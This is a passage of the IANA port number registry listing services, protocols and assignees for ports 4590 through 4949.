rid                4590        tcp    RID over HTTP/TLS            [IESG]                                                [IETF_Chair]                                                                        [RFC6546]
                   4590        udp    Reserved
l3t-at-an          4591        tcp    HRPD L3T (AT-AN)             [Avi_Lior]                                            [Avi_Lior]                                                2009-02-27
l3t-at-an          4591        udp    HRPD L3T (AT-AN)             [Avi_Lior]                                            [Avi_Lior]                                                2009-02-27
                   4592        tcp    Reserved
hrpd-ith-at-an     4592        udp    HRPD-ITH (AT-AN)             [David_Ott]                                           [David_Ott]                                               2008-06-05
ipt-anri-anri      4593        tcp    IPT (ANRI-ANRI)
ipt-anri-anri      4593        udp    IPT (ANRI-ANRI)
ias-session        4594        tcp    IAS-Session (ANRI-ANRI)
ias-session        4594        udp    IAS-Session (ANRI-ANRI)
ias-paging         4595        tcp    IAS-Paging (ANRI-ANRI)
ias-paging         4595        udp    IAS-Paging (ANRI-ANRI)
ias-neighbor       4596        tcp    IAS-Neighbor (ANRI-ANRI)     [David_Ott]                                           [David_Ott]                                               2007-07-31
ias-neighbor       4596        udp    IAS-Neighbor (ANRI-ANRI)     [David_Ott]                                           [David_Ott]                                               2007-07-31
a21-an-1xbs        4597        tcp    A21 (AN-1xBS)                [David_Ott]                                           [David_Ott]                                               2006-02
a21-an-1xbs        4597        udp    A21 (AN-1xBS)                [David_Ott]                                           [David_Ott]                                               2006-02
a16-an-an          4598        tcp    A16 (AN-AN)                  [David_Ott]                                           [David_Ott]                                               2005-12
a16-an-an          4598        udp    A16 (AN-AN)                  [David_Ott]                                           [David_Ott]                                               2005-12
a17-an-an          4599        tcp    A17 (AN-AN)                  [David_Ott]                                           [David_Ott]                                               2006-02
a17-an-an          4599        udp    A17 (AN-AN)                  [David_Ott]                                           [David_Ott]                                               2006-02
piranha1           4600        tcp    Piranha1
piranha1           4600        udp    Piranha1
piranha2           4601        tcp    Piranha2                     [Primark_Corporation]                                 [Primark_Corporation]
piranha2           4601        udp    Piranha2                     [Primark_Corporation]                                 [Primark_Corporation]
mtsserver          4602        tcp    EAX MTS Server               [Pedro_A_Rodriguez]                                   [Pedro_A_Rodriguez]                                       2008-08-06
                   4602        udp    Reserved
menandmice-upg     4603        tcp    Men & Mice Upgrade Agent     [Eggert_Thorlacius_2]                                 [Eggert_Thorlacius_2]                                     2010-01-27
                   4603        udp    Reserved
irp                4604        tcp    Identity Registration        [Sixscape_Communications_Pte_Ltd]                     [Lawrence_E._Hughes]                                      2014-03-17   2014-08-26
                                      Protocol
                   4604        udp    Reserved
sixchat            4605        tcp    Direct End to End Secure     [Sixscape_Communications_Pte_Ltd]                     [Lawrence_E._Hughes]                                      2014-09-11
                                      Chat Protocol
                   4605        udp    Reserved
                 4606-4620            Unassigned
                   4621        tcp    Reserved
                                      Bidirectional single port
ventoso            4621        udp    remote radio VOIP and        [Ventoso_Integrated_Peripherals]                      [John_Lindsey]                                            2016-03-04
                                      Control stream
                 4622-4657            Unassigned
playsta2-app       4658        tcp    PlayStation2 App Port
playsta2-app       4658        udp    PlayStation2 App Port
playsta2-lob       4659        tcp    PlayStation2 Lobby Port      [Noam_Rimon]                                          [Noam_Rimon]                                              2004-12
playsta2-lob       4659        udp    PlayStation2 Lobby Port      [Noam_Rimon]                                          [Noam_Rimon]                                              2004-12
smaclmgr           4660        tcp    smaclmgr                     [Hiromi_Taki]                                         [Hiromi_Taki]
smaclmgr           4660        udp    smaclmgr                     [Hiromi_Taki]                                         [Hiromi_Taki]
kar2ouche          4661        tcp    Kar2ouche Peer location      [Andy_Krouwel]                                        [Andy_Krouwel]
                                      service
kar2ouche          4661        udp    Kar2ouche Peer location      [Andy_Krouwel]                                        [Andy_Krouwel]
                                      service
oms                4662        tcp    OrbitNet Message Service     [Roy_Davies]                                          [Roy_Davies]                                              2005-08
oms                4662        udp    OrbitNet Message Service     [Roy_Davies]                                          [Roy_Davies]                                              2005-08
noteit             4663        tcp    Note It! Message Service     [Pedro_Alpedrinha]                                    [Pedro_Alpedrinha]                                        2006-02
noteit             4663        udp    Note It! Message Service     [Pedro_Alpedrinha]                                    [Pedro_Alpedrinha]                                        2006-02
ems                4664        tcp    Rimage Messaging Server      [David_V_Raskin]                                      [David_V_Raskin]                                          2006-02
ems                4664        udp    Rimage Messaging Server      [David_V_Raskin]                                      [David_V_Raskin]                                          2006-02
contclientms       4665        tcp    Container Client Message     [Bruce_Thompson]                                      [Bruce_Thompson]                                          2006-02
                                      Service
contclientms       4665        udp    Container Client Message     [Bruce_Thompson]                                      [Bruce_Thompson]                                          2006-02
                                      Service
eportcomm          4666        tcp    E-Port Message Service
eportcomm          4666        udp    E-Port Message Service
mmacomm            4667        tcp    MMA Comm Services
mmacomm            4667        udp    MMA Comm Services
mmaeds             4668        tcp    MMA EDS Service              [Robert_Shaffer]                                      [Robert_Shaffer]                                          2006-02
mmaeds             4668        udp    MMA EDS Service              [Robert_Shaffer]                                      [Robert_Shaffer]                                          2006-02
eportcommdata      4669        tcp    E-Port Data Service          [Robert_Shaffer]                                      [Robert_Shaffer]                                          2006-02
eportcommdata      4669        udp    E-Port Data Service          [Robert_Shaffer]                                      [Robert_Shaffer]                                          2006-02
light              4670        tcp    Light packets transfer       [Adam_Golovenko]                                      [Adam_Golovenko]                                          2006-10
                                      protocol
light              4670        udp    Light packets transfer       [Adam_Golovenko]                                      [Adam_Golovenko]                                          2006-10
                                      protocol
acter              4671        tcp    Bull RSF action server       [Christian_Caudrelier]                                [Christian_Caudrelier]                                    2006-02
acter              4671        udp    Bull RSF action server       [Christian_Caudrelier]                                [Christian_Caudrelier]                                    2006-02
rfa                4672        tcp    remote file access server
rfa                4672        udp    remote file access server
cxws               4673        tcp    CXWS Operations              [Phil_Abercrombie]                                    [Phil_Abercrombie]                                        2005-08
cxws               4673        udp    CXWS Operations              [Phil_Abercrombie]                                    [Phil_Abercrombie]                                        2005-08
appiq-mgmt         4674        tcp    AppIQ Agent Management       [Phil_Abercrombie]                                    [Phil_Abercrombie]                                        2005-08
appiq-mgmt         4674        udp    AppIQ Agent Management       [Phil_Abercrombie]                                    [Phil_Abercrombie]                                        2005-08
dhct-status        4675        tcp    BIAP Device Status
dhct-status        4675        udp    BIAP Device Status
dhct-alerts        4676        tcp    BIAP Generic Alert           [Louis_Slothouber]                                    [Louis_Slothouber]                                        2005-08
dhct-alerts        4676        udp    BIAP Generic Alert           [Louis_Slothouber]                                    [Louis_Slothouber]                                        2005-08
bcs                4677        tcp    Business Continuity Servi    [Siew_Sim]                                            [Siew_Sim]                                                2005-08
bcs                4677        udp    Business Continuity Servi    [Siew_Sim]                                            [Siew_Sim]                                                2005-08
traversal          4678        tcp    boundary traversal           [Kevin_Lu]                                            [Kevin_Lu]                                                2005-08
traversal          4678        udp    boundary traversal           [Kevin_Lu]                                            [Kevin_Lu]                                                2005-08
mgesupervision     4679        tcp    MGE UPS Supervision
mgesupervision     4679        udp    MGE UPS Supervision
mgemanagement      4680        tcp    MGE UPS Management           [Lecuivre_J]                                          [Lecuivre_J]                                              2005-08
mgemanagement      4680        udp    MGE UPS Management           [Lecuivre_J]                                          [Lecuivre_J]                                              2005-08
parliant           4681        tcp    Parliant Telephony System    [Colin_Henein]                                        [Colin_Henein]                                            2005-08
parliant           4681        udp    Parliant Telephony System    [Colin_Henein]                                        [Colin_Henein]                                            2005-08
finisar            4682        tcp    finisar                      [Christina_Mercier]                                   [Christina_Mercier]                                       2005-08
finisar            4682        udp    finisar                      [Christina_Mercier]                                   [Christina_Mercier]                                       2005-08
spike              4683        tcp    Spike Clipboard Service      [Scott_Herscher]                                      [Scott_Herscher]                                          2005-08
spike              4683        udp    Spike Clipboard Service      [Scott_Herscher]                                      [Scott_Herscher]                                          2005-08
rfid-rp1           4684        tcp    RFID Reader Protocol 1.0     [Michael_Mealling_2]                                  [Michael_Mealling_2]                                      2005-08
rfid-rp1           4684        udp    RFID Reader Protocol 1.0     [Michael_Mealling_2]                                  [Michael_Mealling_2]                                      2005-08
autopac            4685        tcp    Autopac Protocol             [Peter_Hallenbeck]                                    [Peter_Hallenbeck]                                        2005-08
autopac            4685        udp    Autopac Protocol             [Peter_Hallenbeck]                                    [Peter_Hallenbeck]                                        2005-08
msp-os             4686        tcp    Manina Service Protocol      [Markus_Nix]                                          [Markus_Nix]                                              2005-08
msp-os             4686        udp    Manina Service Protocol      [Markus_Nix]                                          [Markus_Nix]                                              2005-08
nst                4687        tcp    Network Scanner Tool FTP     [Mala_Bhat]                                           [Mala_Bhat]                                               2005-08
nst                4687        udp    Network Scanner Tool FTP     [Mala_Bhat]                                           [Mala_Bhat]                                               2005-08
mobile-p2p         4688        tcp    Mobile P2P Service           [Hanz_Hager]                                          [Hanz_Hager]                                              2008-12-04
mobile-p2p         4688        udp    Mobile P2P Service           [Hanz_Hager]                                          [Hanz_Hager]                                              2008-12-04
altovacentral      4689        tcp    Altova DatabaseCentral       [Altova]                                              [Altova]                                                  2005-08
altovacentral      4689        udp    Altova DatabaseCentral       [Altova]                                              [Altova]                                                  2005-08
prelude            4690        tcp    Prelude IDS message proto    [Yoann_Vandoorselaere]                                [Yoann_Vandoorselaere]                                    2005-08
prelude            4690        udp    Prelude IDS message proto    [Yoann_Vandoorselaere]                                [Yoann_Vandoorselaere]                                    2005-08
mtn                4691        tcp    monotone Netsync Protocol    [Thomas_Keller]                                       [Thomas_Keller]                                           2010-12-22
mtn                4691        udp    monotone Netsync Protocol    [Thomas_Keller]                                       [Thomas_Keller]                                           2010-12-22
conspiracy         4692        tcp    Conspiracy messaging         [Jens_Edlund]                                         [Jens_Edlund]                                             2005-08
conspiracy         4692        udp    Conspiracy messaging         [Jens_Edlund]                                         [Jens_Edlund]                                             2005-08
                 4693-4699            Unassigned
netxms-agent       4700        tcp    NetXMS Agent
netxms-agent       4700        udp    NetXMS Agent
netxms-mgmt        4701        tcp    NetXMS Management
netxms-mgmt        4701        udp    NetXMS Management
netxms-sync        4702        tcp    NetXMS Server                [Victor_Kirhenshtein]                                 [Victor_Kirhenshtein]                                     2006-07
                                      Synchronization
netxms-sync        4702        udp    NetXMS Server                [Victor_Kirhenshtein]                                 [Victor_Kirhenshtein]                                     2006-07
                                      Synchronization
                                      Network Performance Quality
npqes-test         4703        tcp    Evaluation System Test       [Zhengli]                                             [Zhengli]                                                 2010-06-28
                                      Service
                   4703        udp    Reserved
assuria-ins        4704        tcp    Assuria Insider              [Nick_Connor]                                         [Nick_Connor]                                             2010-06-30
                   4704        udp    Reserved
                 4705-4710            Unassigned
trinity-dist       4711        tcp    Trinity Trust Network Node   [P3KI_GmbH]                                           [Gregor_Jehle]                                            2017-01-12
                                      Communication
trinity-dist       4711        udp    Trinity Trust Network Node   [P3KI_GmbH]                                           [Gregor_Jehle]                                            2017-01-12
                                      Communication
trinity-dist       4711       sctp    Trinity Trust Network Node   [P3KI_GmbH]                                           [Gregor_Jehle]                                            2017-01-12
                                      Communication
                 4712-4724            Unassigned
truckstar          4725        tcp    TruckStar Service            [Brian_Toothill]                                      [Brian_Toothill]                                          2010-10-15
truckstar          4725        udp    TruckStar Service            [Brian_Toothill]                                      [Brian_Toothill]                                          2010-10-15
                   4726        tcp    Reserved
a26-fap-fgw        4726        udp    A26 (FAP-FGW)                [David_Ott]                                           [David_Ott]                                               2010-10-15
fcis               4727        tcp    F-Link Client Information
                                      Service
fcis-disc          4727        udp    F-Link Client Information    [Makoto_Zukawa]                                       [Makoto_Zukawa]                                           2010-10-15
                                      Service Discovery
capmux             4728        tcp    CA Port Multiplexer          [Nigel_Groves]                                        [Nigel_Groves]                                            2006-06
capmux             4728        udp    CA Port Multiplexer          [Nigel_Groves]                                        [Nigel_Groves]                                            2006-06
                   4729        tcp    Reserved
gsmtap             4729        udp    GSM Interface Tap            [Harald_Welte]                                        [Harald_Welte]                                            2009-01-16
gearman            4730        tcp    Gearman Job Queue System     [Eric_Day]                                            [Eric_Day]                                                2009-01-16
gearman            4730        udp    Gearman Job Queue System     [Eric_Day]                                            [Eric_Day]                                                2009-01-16
remcap             4731        tcp    Remote Capture Protocol      [Marc_Donner]                                         [Marc_Donner]                                             2009-01-16
                   4731        udp    Reserved
                   4732        tcp    Reserved
ohmtrigger         4732        udp    OHM server trigger           [Franck_Lefevre]                                      [Franck_Lefevre]                                          2009-11-18
resorcs            4733        tcp    RES Orchestration Catalog    [Bob_Janssen_2]                                       [Bob_Janssen_2]                                           2009-11-18
                                      Services
                   4733        udp    Reserved
                 4734-4736            Unassigned
ipdr-sp            4737        tcp    IPDR/SP                      [Ken_Sarno]                                           [Ken_Sarno]                                               2005-08
ipdr-sp            4737        udp    IPDR/SP                      [Ken_Sarno]                                           [Ken_Sarno]                                               2005-08
solera-lpn         4738        tcp    SoleraTec Locator            [Mark_Armstrong]                                      [Mark_Armstrong]                                          2005-12
solera-lpn         4738        udp    SoleraTec Locator            [Mark_Armstrong]                                      [Mark_Armstrong]                                          2005-12
ipfix              4739        tcp    IP Flow Info Export          [Nevil_Brownlee]                                      [Nevil_Brownlee]                                          2005-08
ipfix              4739        udp    IP Flow Info Export          [Nevil_Brownlee]                                      [Nevil_Brownlee]                                          2005-08
ipfix              4739       sctp    IP Flow Info Export          [Nevil_Brownlee]                                      [Nevil_Brownlee]                                          2006-01
ipfixs             4740        tcp    ipfix protocol over TLS      [Nevil_Brownlee]                                      [Nevil_Brownlee]                                          2006-10
ipfixs             4740       sctp    ipfix protocol over DTLS     [Nevil_Brownlee]                                      [Nevil_Brownlee]                                          2006-10
ipfixs             4740        udp    ipfix protocol over DTLS     [Nevil_Brownlee]                                      [Nevil_Brownlee]                                          2006-10
lumimgrd           4741        tcp    Luminizer Manager            [George_Hwa]                                          [George_Hwa]                                              2007-03
lumimgrd           4741        udp    Luminizer Manager            [George_Hwa]                                          [George_Hwa]                                              2007-03
sicct              4742        tcp    SICCT
sicct-sdp          4742        udp    SICCT Service Discovery      [TeleTrusT_Deutschlan]                                [TeleTrusT_Deutschlan]                                    2006-04
                                      Protocol
openhpid           4743        tcp    openhpi HPI service          [Thomas_Kanngieser]                                   [Thomas_Kanngieser]                                       2006-01
openhpid           4743        udp    openhpi HPI service          [Thomas_Kanngieser]                                   [Thomas_Kanngieser]                                       2006-01
ifsp               4744        tcp    Internet File                [Alex_White]                                          [Alex_White]                                              2007-09-12
                                      Synchronization Protocol
ifsp               4744        udp    Internet File                [Alex_White]                                          [Alex_White]                                              2007-09-12
                                      Synchronization Protocol
fmp                4745        tcp    Funambol Mobile Push         [Andrea_Gazzaniga]                                    [Andrea_Gazzaniga]                                        2007-01
fmp                4745        udp    Funambol Mobile Push         [Andrea_Gazzaniga]                                    [Andrea_Gazzaniga]                                        2007-01
                   4746        tcp    Reserved
intelliadm-disc    4746        udp    IntelliAdmin Discovery       [IntelliAdmin_LLC]                                    [Steve_Wiseman]                                           2016-11-18
buschtrommel       4747        udp    peer-to-peer file exchange   [None]                                                [Tobias_Sturm]                                            2013-01-14
                                      protocol
                   4747        tcp    Reserved
                 4748-4748            Unassigned
profilemac         4749        tcp    Profile for Mac              [David_Sinclair]                                      [David_Sinclair]                                          2006-05
profilemac         4749        udp    Profile for Mac              [David_Sinclair]                                      [David_Sinclair]                                          2006-05
ssad               4750        tcp    Simple Service Auto          [Dr_Horst_Herb]                                       [Dr_Horst_Herb]                                           2005-12
                                      Discovery
ssad               4750        udp    Simple Service Auto          [Dr_Horst_Herb]                                       [Dr_Horst_Herb]                                           2005-12
                                      Discovery
spocp              4751        tcp    Simple Policy Control        [Roland_Hedberg_2]                                    [Roland_Hedberg_2]                                        2005-08
                                      Protocol
spocp              4751        udp    Simple Policy Control        [Roland_Hedberg_2]                                    [Roland_Hedberg_2]                                        2005-08
                                      Protocol
snap               4752        tcp    Simple Network Audio         [Dameon_Wagner]                                       [Dameon_Wagner]                                           2002-02
                                      Protocol
snap               4752        udp    Simple Network Audio         [Dameon_Wagner]                                       [Dameon_Wagner]                                           2002-02
                                      Protocol
simon              4753        tcp    Simple Invocation of Methods [Alexander_Christian]                                 [Alexander_Christian]                                     2012-04-19
                                      Over Network (SIMON)
                                      Simple Invocation of Methods
simon-disc         4753        udp    Over Network (SIMON)         [Alexander_Christian]                                 [Alexander_Christian]                                     2012-04-19
                                      Discovery
                   4754        tcp    Reserved
gre-in-udp         4754        udp    GRE-in-UDP Encapsulation     [IESG]                                                [IETF_Chair]                                              2016-10-05                [RFC8086]
                   4755        tcp    Reserved
gre-udp-dtls       4755        udp    GRE-in-UDP Encapsulation     [IESG]                                                [IETF_Chair]                                              2016-10-05                [RFC8086]
                                      with DTLS
RDCenter           4756        tcp    Reticle Decision Center      [KLA_Tencor]                                          [George_Hwa]                                              2016-10-17
                   4756        udp    Reserved
                 4757-4773            Unassigned
converge           4774        tcp    Converge RPC                 [Asteris_LLC]                                         [Steven_Borrelli]                                         2016-09-16
                   4774        udp    Reserved
                 4775-4783            Unassigned
bfd-multi-ctl      4784        tcp    BFD Multihop Control         [Dave_Katz][Dave_Ward]                                [Dave_Katz][Dave_Ward]                                    2006-02
bfd-multi-ctl      4784        udp    BFD Multihop Control         [Dave_Katz][Dave_Ward]                                [Dave_Katz][Dave_Ward]                                    2006-02
                   4785        tcp    Reserved
cncp               4785        udp    Cisco Nexus Control Protocol [Joseph_Swaminathan]                                  [Joseph_Swaminathan]                                      2009-04-01
smart-install      4786        tcp    Smart Install Service        [Amit_Nigam]                                          [Amit_Nigam]                                              2009-08-24
                   4786        udp    Reserved
                                      Service Insertion
sia-ctrl-plane     4787        tcp    Architecture (SIA)           [Shree_Murthy]                                        [Shree_Murthy]                                            2009-10-29
                                      Control-Plane
                   4787        udp    Reserved
                                      eXtensible Messaging Client                                                                                                                                                                                                                 Defined TXT keys: txtvers=1 (as described in the draft)
xmcp               4788        tcp    Protocol                     [Cisco]                                               [Glenn_Matthews]                                          2011-05-23   2011-10-25                                                                        protovers=<comma-separated list of major/minor versions
                                                                                                                                                                                                                                                                                  supported> (examples: "protovers=1.0" "protovers=1.1,2.0"
                   4788        udp    Reserved
vxlan              4789        udp    Virtual eXtensible Local     [Lawrence_Kreeger]                                    [Lawrence_Kreeger]                                        2013-04-19   2014-06-17   [RFC7348]
                                      Area Network (VXLAN)
                   4789        tcp    Reserved
                                      Generic Protocol Extension
vxlan-gpe          4790        udp    for Virtual eXtensible Local [Lawrence_Kreeger]                                    [Lawrence_Kreeger]                                        2014-08-26
                                      Area Network (VXLAN)
                   4790        tcp    Reserved
roce               4791        udp    IP Routable RocE             [InfiniBand_Trade_Association]                        [Diego_Crupnicoff]                                        2014-10-17
                   4791        tcp    Reserved
                 4792-4799            Unassigned
iims               4800        tcp    Icona Instant Messenging
                                      System
iims               4800        udp    Icona Instant Messenging
                                      System
iwec               4801        tcp    Icona Web Embedded Chat
iwec               4801        udp    Icona Web Embedded Chat
ilss               4802        tcp    Icona License System Server  [Paul_Stephen_Borlie]                                 [Paul_Stephen_Borlie]
ilss               4802        udp    Icona License System Server  [Paul_Stephen_Borlie]                                 [Paul_Stephen_Borlie]
notateit           4803        tcp    Notateit Messaging
notateit-disc      4803        udp    Notateit Messaging Discovery [Ean_Black]                                           [Ean_Black]                                               2009-04-08
                   4804        tcp    Reserved
aja-ntv4-disc      4804        udp    AJA ntv4 Video System        [Mike_Bernadett]                                      [Mike_Bernadett]                                          2010-06-03
                                      Discovery
                 4805-4826            Unassigned
htcp               4827        tcp    HTCP                         [Paul_Vixie]                                          [Paul_Vixie]
htcp               4827        udp    HTCP                         [Paul_Vixie]                                          [Paul_Vixie]
                 4828-4836            Unassigned
varadero-0         4837        tcp    Varadero-0
varadero-0         4837        udp    Varadero-0
varadero-1         4838        tcp    Varadero-1
varadero-1         4838        udp    Varadero-1
varadero-2         4839        tcp    Varadero-2                   [Carlos_Arteaga]                                      [Carlos_Arteaga]
varadero-2         4839        udp    Varadero-2                   [Carlos_Arteaga]                                      [Carlos_Arteaga]
opcua-tcp          4840        tcp    OPC UA Connection Protocol   [OPC_Foundation]                                      [Randy_Armstrong]                                                      2018-01-04
opcua-udp          4840        udp    OPC UA Multicast Datagram    [OPC_Foundation]                                      [Randy_Armstrong]                                         2006-09      2018-01-04
                                      Protocol
quosa              4841        tcp    QUOSA Virtual Library        [Uri_Blank]                                           [Uri_Blank]                                               2006-09
                                      Service
quosa              4841        udp    QUOSA Virtual Library        [Uri_Blank]                                           [Uri_Blank]                                               2006-09
                                      Service
gw-asv             4842        tcp    nCode ICE-flow Library       [Ross_Swithenbank]                                    [Ross_Swithenbank]                                        2006-09
                                      AppServer
gw-asv             4842        udp    nCode ICE-flow Library       [Ross_Swithenbank]                                    [Ross_Swithenbank]                                        2006-09      2017-05-23
                                      AppServer
opcua-tls          4843        tcp    OPC UA TCP Protocol over     [OPC_Foundation]                                      [Randy_Armstrong]                                         2006-09      2017-05-23
                                      TLS/SSL
opcua-tls          4843        udp    OPC UA TCP Protocol over     [OPC_Foundation]                                      [Randy_Armstrong]                                         2006-09
                                      TLS/SSL
gw-log             4844        tcp    nCode ICE-flow Library       [Ross_Swithenbank]                                    [Ross_Swithenbank]                                        2006-09
                                      LogServer
gw-log             4844        udp    nCode ICE-flow Library       [Ross_Swithenbank]                                    [Ross_Swithenbank]                                        2006-09
                                      LogServer
wcr-remlib         4845        tcp    WordCruncher Remote Library  [Jason_Dzubak]                                        [Jason_Dzubak]                                            2008-03-17
                                      Service
wcr-remlib         4845        udp    WordCruncher Remote Library  [Jason_Dzubak]                                        [Jason_Dzubak]                                            2008-03-17
                                      Service
                                      Contamac ICM Service

contamac-icm       4846        tcp    IANA assigned this           [Abdullah_Obeid]                                      [Abdullah_Obeid]                                          2008-03-20
                                      well-formed service name as
                                      a replacement for
                                      "contamac_icm".
                                                                                                                                                                                                                                                                                  This entry is an alias to "contamac-icm". This entry is now
contamac_icm       4846        tcp    Contamac ICM Service         [Abdullah_Obeid]                                      [Abdullah_Obeid]                                          2008-03-20                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Contamac ICM Service

contamac-icm       4846        udp    IANA assigned this           [Abdullah_Obeid]                                      [Abdullah_Obeid]                                          2008-03-20
                                      well-formed service name as
                                      a replacement for
                                      "contamac_icm".
                                                                                                                                                                                                                                                                                  This entry is an alias to "contamac-icm". This entry is now
contamac_icm       4846        udp    Contamac ICM Service         [Abdullah_Obeid]                                      [Abdullah_Obeid]                                          2008-03-20                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
wfc                4847        tcp    Web Fresh Communication      [Jonathan_Bastnagel]                                  [Jonathan_Bastnagel]                                      2007-09-17
wfc                4847        udp    Web Fresh Communication      [Jonathan_Bastnagel]                                  [Jonathan_Bastnagel]                                      2007-09-17
appserv-http       4848        tcp    App Server - Admin HTTP
appserv-http       4848        udp    App Server - Admin HTTP
appserv-https      4849        tcp    App Server - Admin HTTPS     [Sreeram_Duvvuru]                                     [Sreeram_Duvvuru]                                         2002-04
appserv-https      4849        udp    App Server - Admin HTTPS     [Sreeram_Duvvuru]                                     [Sreeram_Duvvuru]                                         2002-04
sun-as-nodeagt     4850        tcp    Sun App Server - NA          [Kedar_Mhaswade]                                      [Kedar_Mhaswade]                                          2004-11
sun-as-nodeagt     4850        udp    Sun App Server - NA          [Kedar_Mhaswade]                                      [Kedar_Mhaswade]                                          2004-11
derby-repli        4851        tcp    Apache Derby Replication     [Jorgen_Loland]                                       [Jorgen_Loland]                                           2008-02-27
derby-repli        4851        udp    Apache Derby Replication     [Jorgen_Loland]                                       [Jorgen_Loland]                                           2008-02-27
                 4852-4866            Unassigned
unify-debug        4867        tcp    Unify Debugger               [Daegis_Inc]                                          [Chris_Anderson]                                          2006-05      2012-07-31
unify-debug        4867        udp    Unify Debugger               [Daegis_Inc]                                          [Chris_Anderson]                                          2006-05      2012-07-31
phrelay            4868        tcp    Photon Relay
phrelay            4868        udp    Photon Relay
phrelaydbg         4869        tcp    Photon Relay Debug           [Michael_Hunter]                                      [Michael_Hunter]
phrelaydbg         4869        udp    Photon Relay Debug           [Michael_Hunter]                                      [Michael_Hunter]
cc-tracking        4870        tcp    Citcom Tracking Service      [Wolfgang_Weidner]                                    [Wolfgang_Weidner]                                        2005-12
cc-tracking        4870        udp    Citcom Tracking Service      [Wolfgang_Weidner]                                    [Wolfgang_Weidner]                                        2005-12
wired              4871        tcp    Wired                        [Axel_Andersson]                                      [Axel_Andersson]                                          2006-02
wired              4871        udp    Wired                        [Axel_Andersson]                                      [Axel_Andersson]                                          2006-02
                 4872-4875            Unassigned
tritium-can        4876        tcp    Tritium CAN Bus Bridge       [James_Kennedy]                                       [James_Kennedy]                                           2011-02-15
                                      Service
tritium-can        4876        udp    Tritium CAN Bus Bridge       [James_Kennedy]                                       [James_Kennedy]                                           2011-02-15
                                      Service
lmcs               4877        tcp    Lighting Management Control  [Timothy_Parry]                                       [Timothy_Parry]                                           2011-02-15
                                      System
lmcs               4877        udp    Lighting Management Control  [Timothy_Parry]                                       [Timothy_Parry]                                           2011-02-15
                                      System
                   4878        tcp    Reserved
inst-discovery     4878        udp    Agilent Instrument Discovery [Charles_F_Steele]                                    [Charles_F_Steele]                                        2011-02-15
wsdl-event         4879        tcp    WSDL Event Receiver          [Charles_F_Steele]                                    [Charles_F_Steele]                                        2011-02-15
                   4879        udp    Reserved
hislip             4880        tcp    IVI High-Speed LAN           [Joe_Mueller]                                         [Joe_Mueller]                                             2010-01-11
                                      Instrument Protocol
                   4880        udp    Reserved
                   4881        tcp    Reserved
socp-t             4881        udp    SOCP Time Synchronization    [Joe_Haver]                                           [Joe_Haver]                                               2010-05-28
                                      Protocol
                   4882        tcp    Reserved
socp-c             4882        udp    SOCP Control Protocol        [Joe_Haver]                                           [Joe_Haver]                                               2010-05-28
wmlserver          4883        tcp    Meier-Phelps License Server  [William_Phelps]                                      [William_Phelps]                                          2010-03-22
                   4883        udp    Reserved
hivestor           4884        tcp    HiveStor Distributed File    [Nicholas_Young]                                      [Nicholas_Young]                                          2008-07-10
                                      System
hivestor           4884        udp    HiveStor Distributed File    [Nicholas_Young]                                      [Nicholas_Young]                                          2008-07-10
                                      System
abbs               4885        tcp    ABBS                         [Ryan_Rubley]                                         [Ryan_Rubley]
abbs               4885        udp    ABBS                         [Ryan_Rubley]                                         [Ryan_Rubley]
                 4886-4887            Unassigned
xcap-portal        4888        tcp    xcap code analysis portal    [_88solutions_Corporation]                            [Manfred_Koethe]                                          2018-06-06
                                      public user access
                   4888        udp    Reserved
                                      xcap code analysis portal
xcap-control       4889        tcp    cluster control and          [_88solutions_Corporation]                            [Manfred_Koethe]                                          2018-06-06
                                      administration
                   4889        udp    Reserved
                 4890-4893            Unassigned
lyskom             4894        tcp    LysKOM Protocol A            [Per_Cederqvist]                                      [Per_Cederqvist]
lyskom             4894        udp    LysKOM Protocol A            [Per_Cederqvist]                                      [Per_Cederqvist]
                 4895-4898            Unassigned
radmin-port        4899        tcp    RAdmin Port                  [Dmitri_Znosko]                                       [Dmitri_Znosko]                                           2003-03
radmin-port        4899        udp    RAdmin Port                  [Dmitri_Znosko]                                       [Dmitri_Znosko]                                           2003-03
hfcs               4900        tcp    HFSQL Client/Server Database [PC_SOFT]                                             [Jerome_AERTS_2]                                          2006-03-02   2014-02-02
                                      Engine
hfcs               4900        udp    HFSQL Client/Server Database [PC_SOFT]                                             [Jerome_AERTS_2]                                          2006-03-02   2014-02-02
                                      Engine
                                      FileLocator Remote Search
                                      Agent

flr-agent          4901        tcp    IANA assigned this           [David_Vest]                                          [David_Vest]                                              2008-11-19
                                      well-formed service name as
                                      a replacement for
                                      "flr_agent".
                                      FileLocator Remote Search                                                                                                                                                                                                                   This entry is an alias to "flr-agent". This entry is now
flr_agent          4901        tcp    Agent                        [David_Vest]                                          [David_Vest]                                              2008-11-19                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                   4901        udp    Reserved
magiccontrol       4902        tcp    magicCONROL RF and Data      [Andreas_Spalenski]                                   [Andreas_Spalenski]                                       2008-11-24
                                      Interface
                   4902        udp    Reserved
                 4903-4911            Unassigned
lutap              4912        tcp    Technicolor LUT Access       [Markus_Loeffler]                                     [Markus_Loeffler]                                         2009-02-17
                                      Protocol
                   4912        udp    Reserved
lutcp              4913        tcp    LUTher Control Protocol      [Markus_Loeffler]                                     [Markus_Loeffler]                                         2007-07-03
bones              4914        tcp    Bones Remote Control         [Andreas_Foedrowitz]                                  [Andreas_Foedrowitz]                                      2008-06-18
bones              4914        udp    Bones Remote Control         [Andreas_Foedrowitz]                                  [Andreas_Foedrowitz]                                      2008-06-18
frcs               4915        tcp    Fibics Remote Control        [Ken_Lagarec]                                         [Ken_Lagarec]                                             2009-04-17
                                      Service
                   4915        udp    Reserved
                 4916-4935            Unassigned
an-signaling       4936        udp    Signal protocol port for     [Cisco_systems_3]                                     [Toerless_Eckert_2]                                       2014-06-06
                                      autonomic networking
                   4936        tcp    Reserved
                   4937        tcp    Reserved
atsc-mh-ssc        4937        udp    ATSC-M/H Service Signaling   [Jerry_Whitaker]                                      [Jerry_Whitaker]                                          2008-10-27
                                      Channel
                 4938-4939            Unassigned
eq-office-4940     4940        tcp    Equitrac Office
eq-office-4940     4940        udp    Equitrac Office
eq-office-4941     4941        tcp    Equitrac Office
eq-office-4941     4941        udp    Equitrac Office
eq-office-4942     4942        tcp    Equitrac Office              [Tom_Haapanen_2]                                      [Tom_Haapanen_2]                                          2007-07-11
eq-office-4942     4942        udp    Equitrac Office              [Tom_Haapanen_2]                                      [Tom_Haapanen_2]                                          2007-07-11
                 4943-4948            Unassigned
munin              4949        tcp    Munin Graphing Framework     [Jimmy_Olsen]                                         [Jimmy_Olsen]                                             2010-12-24
